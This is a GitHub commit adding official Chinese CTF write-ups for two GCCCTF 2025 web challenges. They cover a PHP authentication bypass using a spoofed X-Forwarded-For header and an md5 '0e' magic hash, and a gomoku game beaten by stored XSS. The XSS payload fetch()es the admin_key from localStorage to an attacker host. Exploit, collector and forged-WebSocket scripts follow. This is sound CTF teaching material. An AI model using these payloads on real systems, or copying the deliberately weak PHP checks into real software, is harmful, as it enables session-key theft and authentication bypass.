Skip to content

Commit 3e20e01

Browse files
authored
Merge pull request #27 from tabtac/main
add: writeup of 'PHP签到' and '技能五子棋'
2 parents bc18aed + c7ec43d commit 3e20e01

File tree

7 files changed

+362
-0
lines changed

7 files changed

+362
-0
lines changed

GCCCTF2025_官方WP.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,18 @@
33
## 真题复现
44

55
- [计小鸡的秘密](https://www.nssctf.cn/problem/7153)
6+
- [PHP签到](https://www.nssctf.cn/problem/7167)
7+
- [技能五子棋](https://www.nssctf.cn/problem/7165)
8+
- [守法公民](https://www.nssctf.cn/problem/7214)
69

710
## 官方 WP
811

912
### MISC
1013

1114
- [计小鸡的秘密](misc/GCCCTF2025_计小鸡的秘密.md)
1215

16+
### WEB
17+
18+
- [PHP签到](web/[GCCCTF 2025]PHP签到.md)
19+
- [技能五子棋](web/[GCCCTF 2025]技能五子棋.md)
20+
- [守法公民](web/[GCCCTF 2025]守法公民.md)

web/[GCCCTF 2025]PHP签到.md

Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
## 基本信息
2+
- 题目名称:PHP签到
3+
- 题目链接:[[GCCCTF 2025]PHP签到 | NSSCTF](https://www.nssctf.cn/problem/7167)
4+
- 考点清单:robots.txt、PHP 绕过
5+
### 解题思路
6+
7+
看到页面主题为 ROBOT HUB,第一时间想到 `robots.txt`,访问得到:
8+
```html
9+
User-agent: *
10+
Disallow: /l34RNpHP.php
11+
```
12+
13+
继续访问,获得下面的 php 代码:
14+
```php
15+
<?php
16+
17+
header('Content-Type: text/plain; charset=UTF-8');
18+
19+
if (!isset($_GET['user'], $_GET['token'], $_GET['sig'], $_GET['ts'], $_GET['nonce'])) {
20+
readfile(__FILE__);
21+
exit;
22+
}
23+
24+
$user = (string)$_GET['user'];
25+
$token = (string)$_GET['token'];
26+
$sig = (string)$_GET['sig'];
27+
$ts = (int)$_GET['ts'];
28+
$nonce = (string)$_GET['nonce'];
29+
30+
$xff = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? '';
31+
if (strpos($xff, '127.0.0.1') === false && strpos($xff, '::1') === false) {
32+
exit('hacker!');
33+
}
34+
35+
if (base64_decode($nonce) === false || !preg_match('/^[A-Za-z0-9+\/=]+$/', $nonce)) {
36+
exit('hacker!!');
37+
}
38+
39+
if (time() - $ts <= 60) {
40+
// ok
41+
} else {
42+
exit('expired!');
43+
}
44+
45+
if (strpos($user, 'admin') == false) {
46+
47+
$key = $_COOKIE['authkey'] ?? 'NULL';
48+
$mac = hash_hmac('md5', $user . $token . $ts, $key);
49+
50+
if (substr($mac, 0, 6) == substr($sig, 0, 6)) {
51+
52+
$stored_hash = '0e830400451993494058024219903391';
53+
if (md5($token) == $stored_hash) {
54+
@readfile('/flag');
55+
} else {
56+
exit('hacker!!!');
57+
}
58+
59+
} else {
60+
exit('hacker!!!!');
61+
}
62+
63+
} else {
64+
exit('blocked user');
65+
}
66+
```
67+
68+
程序要求传入五个 GET 参数:`user``token``sig``ts``nonce`
69+
- 通过 `X-Forwarded-For` 头判断请求是否来自本地(`127.0.0.1``::1`),否则拒绝。
70+
- `nonce` 必须是合法的 Base64 字符串(但不要求解码后有意义)
71+
- `ts` 时间戳必须在当前时间 60 秒内,否则过期。
72+
- 如果 `user` **不包含**字符串 `"admin"`(注意是 `strpos(...) == false`,即找不到),则进入验证流程:
73+
- 使用 Cookie 中的 `authkey` 作为 HMAC-MD5 的密钥,计算 `user + token + ts` 的 MAC。
74+
- 比较 `sig` 的前 6 位和计算出的 MAC 的前 6 位是否一致(**弱校验**)。
75+
- 如果一致,再检查 `md5($token)` 是否等于一个固定的哈希值 `'0e830400451993494058024219903391'`
76+
- 如果相等,读取 `/flag`
77+
- 如果 `user` **包含** `"admin"`,直接拒绝(`blocked user`)。
78+
79+
因此,编写出下面的 payload 脚本:
80+
```python
81+
import sys
82+
import time
83+
import hashlib
84+
import hmac
85+
import requests
86+
from urllib.parse import urlencode
87+
88+
def main():
89+
if len(sys.argv) != 2:
90+
print(f"Usage: {sys.argv[0]} <target_url>")
91+
print("Example: python3 exploit.py http://127.0.0.1:8080/l34RNpHP.php")
92+
sys.exit(1)
93+
94+
url = sys.argv[1].rstrip('?')
95+
96+
user = "guest"
97+
token = "QNKCDZO"
98+
ts = int(time.time())
99+
nonce = "AAAA"
100+
key = "NULL"
101+
102+
# 计算 HMAC-MD5(user + token + ts, key),取前6位
103+
data = user + token + str(ts)
104+
mac = hmac.new(key.encode(), data.encode(), hashlib.md5).hexdigest()
105+
sig = mac[:6]
106+
107+
params = {
108+
'user': user,
109+
'token': token,
110+
'sig': sig,
111+
'ts': ts,
112+
'nonce': nonce
113+
}
114+
115+
headers = {
116+
'X-Forwarded-For': '127.0.0.1',
117+
# 不发送 authkey cookie,让服务端使用默认 'NULL'
118+
}
119+
120+
try:
121+
print(f"[+] Sending request to {url}")
122+
print(f"[+] Parameters: {params}")
123+
response = requests.get(url, params=params, headers=headers, timeout=10)
124+
if response.status_code == 200:
125+
print("[+] Response:")
126+
print(response.text)
127+
else:
128+
print(f"[-] HTTP {response.status_code}: {response.text}")
129+
except Exception as e:
130+
print(f"[-] Error: {e}")
131+
132+
if __name__ == '__main__':
133+
main()
134+
```
135+
Lines changed: 219 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,219 @@
1+
## 基本信息
2+
- 题目名称:技能五子棋
3+
- 题目链接:[[GCCCTF 2025]技能五子棋 | NSSCTF](https://www.nssctf.cn/problem/7165)
4+
- 考点清单:WebSocket、XSS
5+
### 解题思路
6+
题目给出的初始页面由两个部分组成,一个是五子棋棋盘,另一个评论的功能。下赢五子棋比较困难,主要是因为使用 AI 先手并且没有禁手的规则,黑棋胜率很高。很多在线的五子棋 AI 都比较弱,但是还有更强的 AI 可以辅助我们对战,例如 taptap 中的五子棋(非广告),下赢后会获得下面的提示,告诉我们要使用黑客的方式获胜才能真正获得 flag。
7+
![](images/%E6%8A%80%E8%83%BD%E4%BA%94%E5%AD%90%E6%A3%8B.png)
8+
这里提醒我们在聊天框输入 hint,获得提示:"尝试用你的棋子覆盖对面的棋子"。但是想要通过覆盖的方法获胜需要了解棋子传输的方式,进而使用篡改数据包的方法实现覆盖。通过浏览器开发者工具可知,棋子的传输通过 WebSocket 协议,在 `index.js` 中可以看到对应的连接过程。
9+
10+
![](images/%E6%8A%80%E8%83%BD%E4%BA%94%E5%AD%90%E6%A3%8B-1.png)
11+
12+
观察到两种发送 ws 数据包的结构,其中的 ADMIN 方式被编码了,但是编码方式并非 base64。使用随波逐流进行解码可知,该密文解码顺序为 base62 ->base64,解密后的信息为:
13+
```json
14+
ws.send(JSON.stringify({
15+
packetId: 'move',
16+
row,
17+
col,
18+
auth: 'ADMIN',
19+
signature: crypto.createHmac('sha256', KEY).update(`move:${row}:${col}`).digest('hex')
20+
}))
21+
```
22+
23+
现在需要获取 key 以计算签名值。注意到 JS 代码中有禁止发送含有特殊关键字的代码:
24+
```js
25+
const prohibitedPattern = /<(script|img|iframe|svg|math|object|embed|link|style|video|audio|source|meta|base|form|input|textarea|button)[^>]*>|on[a-z]+\s*=|javascript:|data:text\/html/i
26+
if (prohibitedPattern.test(message)) {
27+
alert('消息包含非法内容,请修改后再发送')
28+
return
29+
}
30+
```
31+
但是测试后可以发现,这个过滤只限制了前端发送,使用 Burpsuite 可以轻松绕过。评论区除了发送还有举报功能,困难还有隐藏界面。使用 dirsearch 对网页进行扫描,可知存在 `/admin/index.html` 管理员审核页面。其中有提示:`当前会话标识admin_key: GCCCTF{LOCAL_ADMIN_KEY_TEST}`,可以知道当前的关键内容是 admin_key,需要通过 XSS 的方式获取。在 `admin.js` 中存在下面的信息:
32+
```js
33+
// 显示当前admin_key
34+
const flagDisplay = document.getElementById('admin-flag-display');
35+
if (flagDisplay) {
36+
flagDisplay.textContent = localStorage.getItem('admin_key');
37+
}
38+
```
39+
攻击流程如下:发送恶意负载->点击举报按钮->管理员查看->窃取 `admin_key` ->发送含签名的覆盖操作->获取 flag。由此可以编写出下面的 payload:
40+
```js
41+
<img src=x onerror="fetch('http://<IP>:<PORT>/collect?key='+encodeURIComponent(localStorage.getItem('admin_key')))">
42+
```
43+
在一个有公网 IP 的 VPS 的打开对应的端口,使用下面的文件接收 key:
44+
```bash
45+
from flask import Flask, request
46+
app = Flask(__name__)
47+
@app.route('/collect')
48+
def collect():
49+
key = request.args.get('key', 'No key received')
50+
print(f"[+] 收到 key: {key}")
51+
return "OK", 200
52+
53+
if __name__ == '__main__':
54+
app.run(host='0.0.0.0', port=5000)
55+
```
56+
在日志中接收到 32 位的 key
57+
![](images/%E6%8A%80%E8%83%BD%E4%BA%94%E5%AD%90%E6%A3%8B-2.png)
58+
59+
也可以使用下面的脚本实现一键获取的功能:
60+
```python
61+
#!/usr/bin/env python3
62+
import sys
63+
import threading
64+
import time
65+
import re
66+
import requests
67+
from http.server import HTTPServer, BaseHTTPRequestHandler
68+
from urllib.parse import unquote
69+
70+
def main():
71+
if len(sys.argv) != 4:
72+
print(f"Usage: {sys.argv[0]} <target_host> <attacker_ip> <attacker_port>")
73+
sys.exit(1)
74+
75+
TARGET_HOST, IP, PORT = sys.argv[1], sys.argv[2], int(sys.argv[3])
76+
BASE_URL = f"http://{TARGET_HOST}"
77+
COLLECT_URL = f"http://{IP}:{PORT}/collect"
78+
admin_key = None
79+
shutdown = threading.Event()
80+
81+
class H(BaseHTTPRequestHandler):
82+
def do_GET(self):
83+
nonlocal admin_key
84+
if '?' in self.path:
85+
for param in self.path.split('?',1)[1].split('&'):
86+
if '=' in param:
87+
try:
88+
k, v = param.split('=',1)
89+
v = unquote(v)
90+
if re.fullmatch(r'[a-fA-F0-9]{32}', v):
91+
admin_key = v
92+
count = 1
93+
print(f"\n[+]admin_key: {admin_key}")
94+
shutdown.set()
95+
except: pass
96+
self.send_response(200)
97+
self.send_header('Content-Type', 'image/gif')
98+
self.end_headers()
99+
self.wfile.write(bytes.fromhex('47494638396101000100800000000000ffffff21f90401000000002c00000000010001000002024401003b'))
100+
101+
def log_message(self, *args): pass
102+
103+
# 启动HTTP服务器
104+
server = HTTPServer(('0.0.0.0', PORT), H)
105+
threading.Thread(target=server.serve_forever, daemon=True).start()
106+
print(f"[*] Listening on http://{IP}:{PORT}")
107+
108+
# 发送XSS
109+
xss = f'<img src=x onerror="fetch(\'{COLLECT_URL}?k=\'+encodeURIComponent(localStorage.getItem(\'admin_key\')))\">'
110+
try:
111+
requests.post(f"{BASE_URL}/api/chat", json={"nickname":"x","message":xss},
112+
headers={"Content-Type":"application/json"}, timeout=10)
113+
requests.post(f"{BASE_URL}/api/report", headers={"Content-Type":"application/json"}, timeout=10)
114+
print("[+] XSS sent and bot triggered")
115+
except Exception as e:
116+
print(f"[-] Error: {e}")
117+
return
118+
119+
# 等待结果
120+
for _ in range(60):
121+
if shutdown.is_set():
122+
server.shutdown()
123+
return
124+
time.sleep(1)
125+
126+
print("[-] Timeout: admin_key not received")
127+
128+
if __name__ == '__main__':
129+
try:
130+
main()
131+
except KeyboardInterrupt:
132+
sys.exit(0)
133+
```
134+
135+
使用下面的脚本, 替换对应的网址和获得的 key 实现覆盖棋子:
136+
```python
137+
import websocket
138+
import json
139+
import hmac
140+
import hashlib
141+
import time
142+
import sys
143+
144+
TARGET_WS_URL = "ws://node1.anna.nssctf.cn:28257/ws"
145+
ADMIN_KEY = "c7b846b1b997f813550589b3da164625" # 请替换为实际获取的密钥
146+
147+
def generate_signature(admin_key, row, col):
148+
message = f'move:{row}:{col}'
149+
return hmac.new(admin_key.encode(), message.encode(), hashlib.sha256).hexdigest()
150+
151+
def send_move(ws, row, col, admin_key):
152+
sig = generate_signature(admin_key, row, col)
153+
print(f"[+] Sending move: ({row}, {col}) | Signature: {sig[:32]}...")
154+
155+
payload = {
156+
"packetId": "move",
157+
"row": row,
158+
"col": col,
159+
"auth": "ADMIN",
160+
"signature": sig
161+
}
162+
ws.send(json.dumps(payload))
163+
164+
while True:
165+
try:
166+
ws.settimeout(2.0)
167+
raw = ws.recv()
168+
resp = json.loads(raw)
169+
pkt = resp.get('packetId')
170+
171+
if pkt == 'gameOver':
172+
print("[+] Game over received!")
173+
if 'flag' in resp:
174+
print(f"[+] FLAG: {resp['flag']}")
175+
return True
176+
else:
177+
print("[-] Game over but no flag.")
178+
return False
179+
elif pkt == 'error':
180+
print(f"[-] Error: {resp.get('message')}")
181+
return False
182+
# 忽略 board 等中间消息,继续等待 gameOver
183+
except:
184+
break
185+
return False
186+
187+
def main():
188+
if len(ADMIN_KEY) != 32:
189+
print("[-] ERROR: Please set a valid 32-character ADMIN_KEY in the script.")
190+
sys.exit(1)
191+
192+
print(f"[+] Connecting to WebSocket: {TARGET_WS_URL}")
193+
ws = websocket.create_connection(TARGET_WS_URL, timeout=15)
194+
ws.recv() # 接收初始棋盘
195+
print("[+] Connected. Initial board received.")
196+
197+
moves = [(7, 5), (7, 6), (7, 7), (7, 8), (7, 9)]
198+
199+
for i, (r, c) in enumerate(moves, 1):
200+
print(f"\n[+] Step {i}/{len(moves)}")
201+
if (r, c) == (7, 7):
202+
print(" IMPORTANT: This move will override AI's piece at center!")
203+
204+
if send_move(ws, r, c, ADMIN_KEY):
205+
ws.close()
206+
print("\n[+] Attack succeeded! Flag retrieved.")
207+
return
208+
209+
if i < len(moves):
210+
time.sleep(0.5)
211+
212+
ws.close()
213+
214+
if __name__ == '__main__':
215+
main()
216+
```
217+
218+
最终获得 flag
219+
![](images/%E6%8A%80%E8%83%BD%E4%BA%94%E5%AD%90%E6%A3%8B-3.png)

web/images/技能五子棋-1.png

115 KB
Loading

web/images/技能五子棋-2.png

18.4 KB
Loading

web/images/技能五子棋-3.png

83 KB
Loading

web/images/技能五子棋.png

1.14 MB
Loading

0 commit comments

Comments
 (0)